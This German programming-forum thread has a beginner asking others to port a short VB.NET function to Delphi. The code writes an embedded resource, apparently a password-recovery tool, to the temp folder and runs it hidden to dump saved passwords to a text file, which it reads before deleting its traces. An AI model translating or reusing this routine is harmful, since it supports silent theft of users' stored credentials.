Delphi Varibalentyp / VB- Byte

[k00ky]

Hi ich hab einen Source gefunden der allerdings in VB ist. Würde den nun gerne in Delphi umwandeln. Hab mir das alles angeschaut und sollte eigentlich kein Problem sein. Das einzige Problem was ich jetzt habe ist, dass es in dem Source einen Varibalen Typ "Byte" gibt und ich nicht weis wie ich das nun in Delphi abwandeln soll ?!

Sieht so aus: Dim RessourceDatei() As Byte

Kann mir da jemand helfen?

[Teekeks]

den Datentyp byte gibt es auch bei Delphi...

[Klaus01]

.. vielleicht so?

Delphi-Quellcode:

ResourceDatei: Array of Byte;

Grüße
Klaus

[k00ky]

Oha danke.
Aba ich hab mir das alles etwas lechter vorgestellt mit dem umwandeln : /

Könnte mir diesbezüglich vlt jemand helfen?

Code:

 Function lesen() As String
        Dim Data As String
        Dim ExeDateiname As String = "\datei.exe"
        Dim TextDateiname As String = "\textdatei.txt"
        Dim RessourceDatei() As Byte = My.Resources.iepv
        FileOpen(1, Environ("tmp") & ExeDateiname, OpenMode.Binary)
        FilePut(1, RessourceDatei)
        FileClose(1)
        Shell(Environ("tmp") & ExeDateiname & " /stext " & Environ("tmp") & _
        TextDateiname, AppWinStyle.Hide)
        Data = IO.File.ReadAllText(Environ("tmp") & TextDateiname)
        On Error Resume Next
        IO.File.Delete(Environ("tmp") & ExeDateiname)
        IO.File.Delete(Environ("tmp") & TextDateiname)
        Return Data
    End Function

Wäre dankbar ;)

[edit=Luckie]Zitat-Tags durch Code-Tags ersetzt. Mfg, Luckie[/edit]

[himitsu]

hmmmmm, also es wird
- ein Dateiinhalt aus den Resourcen in eine temporäre Datei gespeichert (1)
- jene Datei wird dann "versteckt" als EXE ausgeführt (2)
- die EXE erstellt dann eine Textdatei,
- welche eingelesen und ihr Inhalt als String zurückgegeben wird (3)
- und am Ende werden beide Dateien wieder gelöscht

Ich denke mal, wenn man sich das so aufteilt, dann sollte man "leicht" etwas passendes in Delphi selber schreiben können.

1: TResourceStream
2: ShellExecute
3: TFileStream oder gar TStringStream

[k00ky]

Ich bin erst ein beginner in Delphi. Hab erst vor paar tagen angefangen : /
Das was ich monentan zusammengebracht hab ist ein exe pumper. Aber damit bich überfordert.

Wäre nett wenn das jemand umwandeln könnte.

[k00ky]

kann das keiner machen : /?

[daywalker9]

Vielleicht solltest du dir erstmal die Tutorials angucken und die wichtigsten Grundlagen lernen : Delphi-Treff

[k00ky]

Ich brauch doch nur die paar Zeilen code hier von VB in dElphi gewandelt^^. mehr nicht

[Teekeks]

schon, aber um das machen zu können musst du zuerst Delphi können.
Ich bezweifle das hier irgendwer einfach so alles mögliche übersetzt.
Und Hilfe hast du ja schon erhalten von himitsu